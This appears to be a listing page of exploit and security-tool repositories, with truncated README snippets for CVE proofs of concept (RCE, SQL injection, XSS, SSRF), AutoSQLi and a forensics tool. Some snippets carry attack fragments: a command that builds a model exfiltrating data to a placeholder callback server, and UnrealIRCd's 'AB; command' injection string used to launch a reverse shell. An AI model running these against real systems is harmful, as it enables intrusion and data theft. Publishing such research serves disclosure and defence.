CVE-2024-3121

CVE-2024-3121 - Remote Code Execution RCE in parisneo/lollms Discovered by: Syed Jan Muhammad Zaidi GitHub: dark-ninja10 CVE ID: CVE-2024-3121 Repository Affected: parisneo/lollms 🧨 Vulnerability Summary A Remote Code Execution RCE vulnerability exists in the createcondaenv function of the lollms...

CVE-2024-24401

Vulnerability Report CVE Disovered by: Jarod Jaslow MAWK DESIGNED TO BE RUN ON KALI LINUX Notes Nagios has patched version 2024R1.0.1 in all recent downloads. To determine if a target is vulnerable, ensure they are using an older download of 2024R1.0.1. The updated script checks to make sure that...

Reflected-XSS-on-Opentext-Portal-v7.4.4

Cross-site scripting XSS vulnerability in OpenText Portal v7.4.4 allows remote attackers to inject arbitrary web script or HTML code via the vgnextoid URI parameter. Attack vector: Javascript injection in vgnextoid parameter preceded of "--" html comment closing sequence RESULT: Found by Héctor...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE Exploit This repository provides a proof-of-concept exploit for CVE-2025-47812 , a remote command execution RCE vulnerability in Wing FTP Server. An attacker can inject and execute arbitrary Lua-based system commands by abusing the username parameter during...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB TRY AT YOUR OWN RISKS SOME CODE NEED TO MODIFY. 1. Generate malicious model python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' ...

mountain_goat

Hi, I'm a mountain goat and I'm going to ram your TCP connections, because that's a pretty goat thing to do. This is a PoC demonstrating techniques exploiting CVE-2016-5696 Off-Path TCP Exploits: Global Rate Limit Considered Dangerous by Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V...

CVE-2022-25257

CVE-2022-25257 SAS Logon 9.4 allows warning-message injection. Discovered: February 15, 2022 Affected Versions: 9.4 POC Exploit: SASLogon/csrf has one parameter called "target" This parameter affects the warning message for the URL the user was about to open but, because of the unknown origin, th...

CVE-2025-61304

CVE-2025-61304 "OS command injection vulnerability in Dynatrace ActiveGate ping extension up to 1.016 via crafted ip address" In the background the ping extension is using the command prompt of Windows to perform the ping. The input field for the Test Target Host is also 1024 chars long. After th...

AutoSQLi

AutoSQLi, the new way script-kiddies hack websites Features Save System - there is a complete save system, which can resume even when your pc crashed. - technology is cool Dorking - from the command line one dork : YES - from a file: NO - from an interactive wizard: YES Waffing - Thanks to...

aether

Aether version : 0.9 stable release Aether is a Windows memory-forensics and threat hunting tool that scans live process memory for malicious pattern, detect injection techniques, implant signatures, reflectively loaded .NET assemblies. it works with a multi-layer confidence model that dramatical...

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: Pre-auth RCE in pyLoad The Story of Finding Pre-auth RCE in pyLoad TL;DR A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing js2py's functionality. You can find the report here and exploit code here. Details pyLoad is an OSS...

reproducing-CVE-2025-1489

Reproducing CVE-2025-1489 This repository simulates a reproduction of a web-related CVE CVE-2025-1489 in a safe environment to demonstrate and practice my forensic/vulnerability analysis skills. The vulnerability identified and reproduced is a stored cross-site scripting XSS vulnerability in the...

pylane

pylane 简体中文 Pylane is a python vm injector with debug tools, based on gdb and ptrace. Pylane uses gdb to trace python process, inject and run some code in its python vm. Usage use inject command to inject a python script in an process: pylane inject use shell command to inject an interactive shel...

OffensivePascal-CVE-2010-2075

CVE-2010-2075 FreePascal implementation of CVE-2010-2075 Vulnerability UnrealIRCd 3.2.8.1 RCE by sending "AB; command" to any listening service. Any command you send is executed by the same user as UnrealIRCD runs as. This implementation launches a reverse shell to your listener. Step 1 Start a...

CVE-2024-36840-Exploit

CVE-2024-36840: SQL Injection Vulnerability in Boelter Blue System Management Version 1.3 Exploit Details Exploit Title : SQL Injection Vulnerability in Boelter Blue System Management version 1.3 Original Google Dork : inurl:"Powered by Boelter Blue" didn't workedzero url in search Google Dork By...

CVE-2022-30511

CVE-2022-30511 School Dormitory Management System 1.0 - Unauthenticated SQL Injection Exploit Title: School Dormitory Management System 1.0 - Unauthenticated SQL Injection Date: 2022-05-25 CVE: CVE-2022-30511 Exploit Author: Abdulaziz Saad @b4zb0z Vendor Homepage: https://www.sourcecodester.com/...

React-site-CVE-2025-55182

React Site - CVE-2025-55182 README: Vulnerable Next.js project React RSC landing page This repository contains an example of a multi-page corporate landing page built with Next.js 15.0.0 + React 19.0.0. The site mimics a structure similar to t1.ru: home, products, cases, media, about, contacts. W...

CVE-2025-68999-POC

CVE-2025-68999 Happy Addons for Elementor prepare, but then drops $entry-metakey straight into the SQL string without escaping: $records = " $duplicatedpostid, '$entry-metakey', '$value' "; // ... $wpdb-query $query ; Because metakey comes from the database, the code treats it as trusted. But...

CVE-2024-2876

CVE-2024-2876 - SQL Injection Vulnerability in Email Subscribers by Icegram Express Overview CVE-2024-2876 is a critical security vulnerability found in the "Email Subscribers by Icegram Express" plugin for WordPress. This vulnerability affects versions up to and including 5.7.14 and poses...

CVE-2024-415770-ssrf-rce

CVE-2024-415770-SSRF-RCE Description This script is designed to interact with the teamserver. Update the script with your teamserver URL. It performs several steps to register an agent, open a socket, and inject an SSH key into the target's authorized keys. Prerequisites Python 3.x Required Pytho...